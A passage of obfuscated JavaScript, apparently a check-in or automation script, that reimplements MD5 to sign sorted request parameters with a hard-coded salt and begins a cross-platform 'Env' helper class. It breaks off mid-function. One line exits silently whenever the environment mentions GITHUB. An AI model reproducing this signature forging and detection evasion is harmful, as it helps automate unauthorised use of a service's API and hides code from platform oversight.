_0x36c4c5[_0x1eaf55 + 6], 23, 76029189); + _0x9f0318 = _0x462ba4(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 9], 4, -640364487); + _0x241128 = _0x462ba4(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 12], 11, -421815835); + _0x54e849 = _0x462ba4(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 15], 16, 530742520); + _0x9f0318 = _0x48717b(_0x9f0318, _0x177e34 = _0x462ba4(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 2], 23, -995338651), _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 0], 6, -198630844); + _0x241128 = _0x48717b(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 7], 10, 1126891415); + _0x54e849 = _0x48717b(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 14], 15, -1416354905); + _0x177e34 = _0x48717b(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 5], 21, -57434055); + _0x9f0318 = _0x48717b(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 12], 6, 1700485571); + _0x241128 = _0x48717b(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 3], 10, -1894986606); + _0x54e849 = _0x48717b(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 10], 15, -1051523); + _0x177e34 = _0x48717b(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 1], 21, -2054922799); + _0x9f0318 = _0x48717b(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 8], 6, 1873313359); + _0x241128 = _0x48717b(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 15], 10, -30611744); + _0x54e849 = _0x48717b(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 6], 15, -1560198380); + _0x177e34 = _0x48717b(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 13], 21, 1309151649); + _0x9f0318 = _0x48717b(_0x9f0318, _0x177e34, _0x54e849, _0x241128, _0x36c4c5[_0x1eaf55 + 4], 6, -145523070); + _0x241128 = _0x48717b(_0x241128, _0x9f0318, _0x177e34, _0x54e849, _0x36c4c5[_0x1eaf55 + 11], 10, -1120210379); + _0x54e849 = _0x48717b(_0x54e849, _0x241128, _0x9f0318, _0x177e34, _0x36c4c5[_0x1eaf55 + 2], 15, 718787259); + _0x177e34 = _0x48717b(_0x177e34, _0x54e849, _0x241128, _0x9f0318, _0x36c4c5[_0x1eaf55 + 9], 21, -343485551); + _0x9f0318 = _0x9f0318 + _0x1eaed6 >>> 0; + _0x177e34 = _0x177e34 + _0x63dbb1 >>> 0; + _0x54e849 = _0x54e849 + _0x19c243 >>> 0; + _0x241128 = _0x241128 + _0x35f0f8 >>> 0; + } + return _0xffa1b6.endian([_0x9f0318, _0x177e34, _0x54e849, _0x241128]); + }; + i._ff = function (_0x4d18ad, _0x37924f, _0x471101, _0x33a5fa, _0x306699, _0x29dbe4, _0x54a86) { + var _0x5e5cb7 = _0x4d18ad + (_0x37924f & _0x471101 | ~_0x37924f & _0x33a5fa) + (_0x306699 >>> 0) + _0x54a86; + return (_0x5e5cb7 << _0x29dbe4 | _0x5e5cb7 >>> 32 - _0x29dbe4) + _0x37924f; + }; + i._gg = function (_0x1761cb, _0x395b69, _0x2264e7, _0x43740c, _0x27d0b8, _0x39edaf, _0x4018db) { + var _0x5c26fe = _0x1761cb + (_0x395b69 & _0x43740c | _0x2264e7 & ~_0x43740c) + (_0x27d0b8 >>> 0) + _0x4018db; + return (_0x5c26fe << _0x39edaf | _0x5c26fe >>> 32 - _0x39edaf) + _0x395b69; + }; + i._hh = function (_0x3dab40, _0x5551d9, _0x4df181, _0x5df43f, _0x4f41a2, _0x528b1e, _0x2b9231) { + var _0x3c2930 = _0x3dab40 + (_0x5551d9 ^ _0x4df181 ^ _0x5df43f) + (_0x4f41a2 >>> 0) + _0x2b9231; + return (_0x3c2930 << _0x528b1e | _0x3c2930 >>> 32 - _0x528b1e) + _0x5551d9; + }; + i._ii = function (_0x3d3f0c, _0x2cf40e, _0x98772b, _0x21295e, _0x185ddc, _0x1794dd, _0x341852) { + var _0x36f694 = _0x3d3f0c + (_0x98772b ^ (_0x2cf40e | ~_0x21295e)) + (_0x185ddc >>> 0) + _0x341852; + return (_0x36f694 << _0x1794dd | _0x36f694 >>> 32 - _0x1794dd) + _0x2cf40e; + }; + i._blocksize = 16; + i._digestsize = 16; + function _0x29a34c(_0x2de10f) { + for (var _0x3601f8 = [], _0x1bef4f = 0; _0x1bef4f < 32 * _0x2de10f.length; _0x1bef4f += 8) _0x3601f8.push(_0x2de10f[_0x1bef4f >>> 5] >>> 24 - _0x1bef4f % 32 & 255); + return _0x3601f8; + } + function _0x57d473(_0x13381c) { + for (var _0x77c13e = [], _0x15177b = 0; _0x15177b < _0x13381c.length; _0x15177b++) { + _0x77c13e.push((_0x13381c[_0x15177b] >>> 4).toString(16)); + _0x77c13e.push((15 & _0x13381c[_0x15177b]).toString(16)); + } + return _0x77c13e.join(""); + } + function _0x36dc35(_0x1477c4) { + const _0x4ffd6d = {}; + for (const _0x5c92e1 in _0x1477c4) { + if ("" !== _0x1477c4[_0x5c92e1] && null !== _0x1477c4[_0x5c92e1] && undefined !== _0x1477c4[_0x5c92e1]) { + _0x4ffd6d[_0x5c92e1] = _0x1477c4[_0x5c92e1]; + } + } + let _0x57c270 = ""; + _0x57c270 = Object.keys(_0x4ffd6d).join(" "); + let _0x374ba2 = []; + _0x374ba2 = function (_0x495814) { + const _0x4e2ce2 = _0x495814.split(/\s+/gi), + _0x55d3b1 = Array.prototype.sort.call(_0x4e2ce2, function (_0x300171, _0xda27df) { + for (let _0x40539b = 0; _0x40539b < _0x300171.length; _0x40539b++) if (_0x300171.charCodeAt(_0x40539b) !== _0xda27df.charCodeAt(_0x40539b)) { + return _0x300171.charCodeAt(_0x40539b) - _0xda27df.charCodeAt(_0x40539b); + } + }); + return _0x55d3b1; + }(_0x57c270); + let _0x1080ec = ""; + _0x374ba2.forEach(_0x20840c => { + _0x1080ec += _0x20840c + "=" + _0x4ffd6d[_0x20840c] + "&"; + }); + _0x1080ec = _0x1080ec.slice(0, _0x1080ec.length - 1); + _0x1080ec += "0]3K@'9MK+6Jf"; + return _0x1080ec; + } + function _0x13ac86(_0x1264d1) { + return _0x57d473(_0x29a34c(i(_0x36dc35(_0x1264d1)))); + } + return _0x13ac86(_0x5be860); + } + function enen(_0x427d20) { + let _0x2bb948 = _0x427d20; + var _0x587ceb = {}; + for (var _0x175321 in _0x2bb948) if ("" !== _0x2bb948[_0x175321] && null !== _0x2bb948[_0x175321] && undefined !== _0x2bb948[_0x175321]) { + _0x587ceb[_0x175321] = _0x2bb948[_0x175321]; + } + var _0x5e848a = Object.keys(_0x587ceb).join(" ").split(/\s+/gi), + _0x4b5be8 = Array.prototype.sort.call(_0x5e848a, function (_0x115e4e, _0xd97089) { + for (var _0x4f167c = 0; _0x4f167c < _0x115e4e.length; _0x4f167c++) if (_0x115e4e.charCodeAt(_0x4f167c) !== _0xd97089.charCodeAt(_0x4f167c)) { + return _0x115e4e.charCodeAt(_0x4f167c) - _0xd97089.charCodeAt(_0x4f167c); + } + }), + _0x5bef29 = "", + _0xb00b72 = /^(\d{4})-(\d{2})-(\d{2})/, + _0x12b1a4 = /(\d{2}):(\d{2}):(\d{2})$/; + _0x4b5be8.forEach(function (_0x25850c) { + if (_0xb00b72.test(_0x587ceb[_0x25850c]) && _0x12b1a4.test(_0x587ceb[_0x25850c])) { + ""; + _0x5bef29 += _0x25850c + "=" + Date.parse(_0x587ceb[_0x25850c].replace(/-/g, "/")) + "&"; + } else { + _0x5bef29 += _0x25850c + "=" + _0x587ceb[_0x25850c] + "&"; + } + }); + _0x5bef29 = _0x5bef29.slice(0, _0x5bef29.length - 1); + _0x5bef29 += "0]3K@'9MK+6Jf"; + function _0x3d6e53(_0x3c027a) { + function _0x625294(_0x262af1, _0x13aa96) { + return _0x262af1 << _0x13aa96 | _0x262af1 >>> 32 - _0x13aa96; + } + function _0x503769(_0xed1683, _0x3a9f0a) { + var _0x14b62d, _0x60e289, _0x5a838c, _0x3ac74b, _0x514e01; + _0x5a838c = 2147483648 & _0xed1683; + _0x3ac74b = 2147483648 & _0x3a9f0a; + _0x14b62d = 1073741824 & _0xed1683; + _0x60e289 = 1073741824 & _0x3a9f0a; + _0x514e01 = (1073741823 & _0xed1683) + (1073741823 & _0x3a9f0a); + return _0x14b62d & _0x60e289 ? 2147483648 ^ _0x514e01 ^ _0x5a838c ^ _0x3ac74b : _0x14b62d | _0x60e289 ? 1073741824 & _0x514e01 ? 3221225472 ^ _0x514e01 ^ _0x5a838c ^ _0x3ac74b : 1073741824 ^ _0x514e01 ^ _0x5a838c ^ _0x3ac74b : _0x514e01 ^ _0x5a838c ^ _0x3ac74b; + } + function _0x573ba6(_0xa60f71, _0x47db0a, _0x5174b0) { + return _0xa60f71 & _0x47db0a | ~_0xa60f71 & _0x5174b0; + } + function _0xbbc92b(_0xe77b29, _0x4b82b5, _0x200719) { + return _0xe77b29 & _0x200719 | _0x4b82b5 & ~_0x200719; + } + function _0x56a2c5(_0x406396, _0x3e19ba, _0x4b5071) { + return _0x406396 ^ _0x3e19ba ^ _0x4b5071; + } + function _0x3eb299(_0x94b5fb, _0x9d8446, _0x51f6e5) { + return _0x9d8446 ^ (_0x94b5fb | ~_0x51f6e5); + } + function _0x2500e8(_0x19fc59, _0x5b7fff, _0x189026, _0x2f54a7, _0xc38270, _0xd96c87, _0x359c9a) { + _0x19fc59 = _0x503769(_0x19fc59, _0x503769(_0x503769(_0x573ba6(_0x5b7fff, _0x189026, _0x2f54a7), _0xc38270), _0x359c9a)); + return _0x503769(_0x625294(_0x19fc59, _0xd96c87), _0x5b7fff); + } + function _0x37c919(_0x52d2e8, _0x45e060, _0x353c63, _0x27d8e9, _0x25f2d2, _0x546f43, _0x1aa6f9) { + _0x52d2e8 = _0x503769(_0x52d2e8, _0x503769(_0x503769(_0xbbc92b(_0x45e060, _0x353c63, _0x27d8e9), _0x25f2d2), _0x1aa6f9)); + return _0x503769(_0x625294(_0x52d2e8, _0x546f43), _0x45e060); + } + function _0x8c4077(_0x355ab4, _0x1b8f66, _0x37ae44, _0x24fda7, _0xac05e0, _0x255ca8, _0x3f7e62) { + _0x355ab4 = _0x503769(_0x355ab4, _0x503769(_0x503769(_0x56a2c5(_0x1b8f66, _0x37ae44, _0x24fda7), _0xac05e0), _0x3f7e62)); + return _0x503769(_0x625294(_0x355ab4, _0x255ca8), _0x1b8f66); + } + function _0x18c909(_0x59c23a, _0x44a64e, _0x4fdafa, _0x2d7f3b, _0x42ed73, _0x52e095, _0x1277fa) { + _0x59c23a = _0x503769(_0x59c23a, _0x503769(_0x503769(_0x3eb299(_0x44a64e, _0x4fdafa, _0x2d7f3b), _0x42ed73), _0x1277fa)); + return _0x503769(_0x625294(_0x59c23a, _0x52e095), _0x44a64e); + } + function _0x28f791(_0x2e9a8e) { + for (var _0x4a27b0, _0x5948bd = _0x2e9a8e.length, _0xc15a39 = _0x5948bd + 8, _0x652e71 = (_0xc15a39 - _0xc15a39 % 64) / 64, _0x1d86b2 = 16 * (_0x652e71 + 1), _0x5dd4fe = new Array(_0x1d86b2 - 1), _0x56fd1d = 0, _0x25c7aa = 0; _0x5948bd > _0x25c7aa;) { + _0x4a27b0 = (_0x25c7aa - _0x25c7aa % 4) / 4; + _0x56fd1d = _0x25c7aa % 4 * 8; + _0x5dd4fe[_0x4a27b0] = _0x5dd4fe[_0x4a27b0] | _0x2e9a8e.charCodeAt(_0x25c7aa) << _0x56fd1d; + _0x25c7aa++; + } + _0x4a27b0 = (_0x25c7aa - _0x25c7aa % 4) / 4; + _0x56fd1d = _0x25c7aa % 4 * 8; + _0x5dd4fe[_0x4a27b0] = _0x5dd4fe[_0x4a27b0] | 128 << _0x56fd1d; + _0x5dd4fe[_0x1d86b2 - 2] = _0x5948bd << 3; + _0x5dd4fe[_0x1d86b2 - 1] = _0x5948bd >>> 29; + return _0x5dd4fe; + } + function _0x1a1713(_0xa72e45) { + var _0x5da836, + _0x544dc0, + _0x2a249f = "", + _0x2ddade = ""; + for (_0x544dc0 = 0; 3 >= _0x544dc0; _0x544dc0++) { + _0x5da836 = _0xa72e45 >>> 8 * _0x544dc0 & 255; + _0x2ddade = "0" + _0x5da836.toString(16); + _0x2a249f += _0x2ddade.substr(_0x2ddade.length - 2, 2); + } + return _0x2a249f; + } + function _0x54565d(_0x4b35a7) { + _0x4b35a7 = _0x4b35a7.replace(/\r\n/g, "\n"); + for (var _0x454643 = "", _0x199c35 = 0; _0x199c35 < _0x4b35a7.length; _0x199c35++) { + var _0x34dafe = _0x4b35a7.charCodeAt(_0x199c35); + 128 > _0x34dafe ? _0x454643 += String.fromCharCode(_0x34dafe) : _0x34dafe > 127 && 2048 > _0x34dafe ? (_0x454643 += String.fromCharCode(_0x34dafe >> 6 | 192), _0x454643 += String.fromCharCode(63 & _0x34dafe | 128)) : (_0x454643 += String.fromCharCode(_0x34dafe >> 12 | 224), _0x454643 += String.fromCharCode(_0x34dafe >> 6 & 63 | 128), _0x454643 += String.fromCharCode(63 & _0x34dafe | 128)); + } + return _0x454643; + } + var _0x4daa49, + _0x11594b, + _0x4dd961, + _0x2a975f, + _0x3f80f4, + _0x4550e0, + _0x36eeac, + _0x20bd6b, + _0x33b079, + _0x4e8984 = [], + _0x51d351 = 7, + _0x1f1ac8 = 12, + _0xd46af4 = 17, + _0x20d6aa = 22, + _0x36ba91 = 5, + _0x5cd8c9 = 9, + _0x4824cc = 14, + _0x51a2ed = 20, + _0xbbc865 = 4, + _0x509dbe = 11, + _0x4db84d = 16, + _0xb3be61 = 23, + _0x2e1f72 = 6, + _0x2f185d = 10, + _0x4a9a2a = 15, + _0x297e25 = 21; + for (_0x3c027a = _0x54565d(_0x3c027a), _0x4e8984 = _0x28f791(_0x3c027a), _0x4550e0 = 1732584193, _0x36eeac = 4023233417, _0x20bd6b = 2562383102, _0x33b079 = 271733878, _0x4daa49 = 0; _0x4daa49 < _0x4e8984.length; _0x4daa49 += 16) { + _0x11594b = _0x4550e0; + _0x4dd961 = _0x36eeac; + _0x2a975f = _0x20bd6b; + _0x3f80f4 = _0x33b079; + _0x4550e0 = _0x2500e8(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 0], _0x51d351, 3614090360); + _0x33b079 = _0x2500e8(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 1], _0x1f1ac8, 3905402710); + _0x20bd6b = _0x2500e8(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 2], _0xd46af4, 606105819); + _0x36eeac = _0x2500e8(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 3], _0x20d6aa, 3250441966); + _0x4550e0 = _0x2500e8(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 4], _0x51d351, 4118548399); + _0x33b079 = _0x2500e8(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 5], _0x1f1ac8, 1200080426); + _0x20bd6b = _0x2500e8(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 6], _0xd46af4, 2821735955); + _0x36eeac = _0x2500e8(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 7], _0x20d6aa, 4249261313); + _0x4550e0 = _0x2500e8(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 8], _0x51d351, 1770035416); + _0x33b079 = _0x2500e8(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 9], _0x1f1ac8, 2336552879); + _0x20bd6b = _0x2500e8(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 10], _0xd46af4, 4294925233); + _0x36eeac = _0x2500e8(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 11], _0x20d6aa, 2304563134); + _0x4550e0 = _0x2500e8(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 12], _0x51d351, 1804603682); + _0x33b079 = _0x2500e8(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 13], _0x1f1ac8, 4254626195); + _0x20bd6b = _0x2500e8(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 14], _0xd46af4, 2792965006); + _0x36eeac = _0x2500e8(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 15], _0x20d6aa, 1236535329); + _0x4550e0 = _0x37c919(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 1], _0x36ba91, 4129170786); + _0x33b079 = _0x37c919(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 6], _0x5cd8c9, 3225465664); + _0x20bd6b = _0x37c919(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 11], _0x4824cc, 643717713); + _0x36eeac = _0x37c919(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 0], _0x51a2ed, 3921069994); + _0x4550e0 = _0x37c919(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 5], _0x36ba91, 3593408605); + _0x33b079 = _0x37c919(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 10], _0x5cd8c9, 38016083); + _0x20bd6b = _0x37c919(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 15], _0x4824cc, 3634488961); + _0x36eeac = _0x37c919(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 4], _0x51a2ed, 3889429448); + _0x4550e0 = _0x37c919(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 9], _0x36ba91, 568446438); + _0x33b079 = _0x37c919(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 14], _0x5cd8c9, 3275163606); + _0x20bd6b = _0x37c919(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 3], _0x4824cc, 4107603335); + _0x36eeac = _0x37c919(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 8], _0x51a2ed, 1163531501); + _0x4550e0 = _0x37c919(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 13], _0x36ba91, 2850285829); + _0x33b079 = _0x37c919(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 2], _0x5cd8c9, 4243563512); + _0x20bd6b = _0x37c919(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 7], _0x4824cc, 1735328473); + _0x36eeac = _0x37c919(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 12], _0x51a2ed, 2368359562); + _0x4550e0 = _0x8c4077(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 5], _0xbbc865, 4294588738); + _0x33b079 = _0x8c4077(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 8], _0x509dbe, 2272392833); + _0x20bd6b = _0x8c4077(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 11], _0x4db84d, 1839030562); + _0x36eeac = _0x8c4077(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 14], _0xb3be61, 4259657740); + _0x4550e0 = _0x8c4077(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 1], _0xbbc865, 2763975236); + _0x33b079 = _0x8c4077(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 4], _0x509dbe, 1272893353); + _0x20bd6b = _0x8c4077(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 7], _0x4db84d, 4139469664); + _0x36eeac = _0x8c4077(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 10], _0xb3be61, 3200236656); + _0x4550e0 = _0x8c4077(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 13], _0xbbc865, 681279174); + _0x33b079 = _0x8c4077(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 0], _0x509dbe, 3936430074); + _0x20bd6b = _0x8c4077(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 3], _0x4db84d, 3572445317); + _0x36eeac = _0x8c4077(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 6], _0xb3be61, 76029189); + _0x4550e0 = _0x8c4077(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 9], _0xbbc865, 3654602809); + _0x33b079 = _0x8c4077(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 12], _0x509dbe, 3873151461); + _0x20bd6b = _0x8c4077(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 15], _0x4db84d, 530742520); + _0x36eeac = _0x8c4077(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 2], _0xb3be61, 3299628645); + _0x4550e0 = _0x18c909(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 0], _0x2e1f72, 4096336452); + _0x33b079 = _0x18c909(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 7], _0x2f185d, 1126891415); + _0x20bd6b = _0x18c909(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 14], _0x4a9a2a, 2878612391); + _0x36eeac = _0x18c909(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 5], _0x297e25, 4237533241); + _0x4550e0 = _0x18c909(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 12], _0x2e1f72, 1700485571); + _0x33b079 = _0x18c909(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 3], _0x2f185d, 2399980690); + _0x20bd6b = _0x18c909(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 10], _0x4a9a2a, 4293915773); + _0x36eeac = _0x18c909(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 1], _0x297e25, 2240044497); + _0x4550e0 = _0x18c909(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 8], _0x2e1f72, 1873313359); + _0x33b079 = _0x18c909(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 15], _0x2f185d, 4264355552); + _0x20bd6b = _0x18c909(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 6], _0x4a9a2a, 2734768916); + _0x36eeac = _0x18c909(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 13], _0x297e25, 1309151649); + _0x4550e0 = _0x18c909(_0x4550e0, _0x36eeac, _0x20bd6b, _0x33b079, _0x4e8984[_0x4daa49 + 4], _0x2e1f72, 4149444226); + _0x33b079 = _0x18c909(_0x33b079, _0x4550e0, _0x36eeac, _0x20bd6b, _0x4e8984[_0x4daa49 + 11], _0x2f185d, 3174756917); + _0x20bd6b = _0x18c909(_0x20bd6b, _0x33b079, _0x4550e0, _0x36eeac, _0x4e8984[_0x4daa49 + 2], _0x4a9a2a, 718787259); + _0x36eeac = _0x18c909(_0x36eeac, _0x20bd6b, _0x33b079, _0x4550e0, _0x4e8984[_0x4daa49 + 9], _0x297e25, 3951481745); + _0x4550e0 = _0x503769(_0x4550e0, _0x11594b); + _0x36eeac = _0x503769(_0x36eeac, _0x4dd961); + _0x20bd6b = _0x503769(_0x20bd6b, _0x2a975f); + _0x33b079 = _0x503769(_0x33b079, _0x3f80f4); + } + var _0x2a3416 = _0x1a1713(_0x4550e0) + _0x1a1713(_0x36eeac) + _0x1a1713(_0x20bd6b) + _0x1a1713(_0x33b079); + return _0x2a3416.toLowerCase(); + } + return _0x3d6e53(_0x5bef29.toString()); + } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : 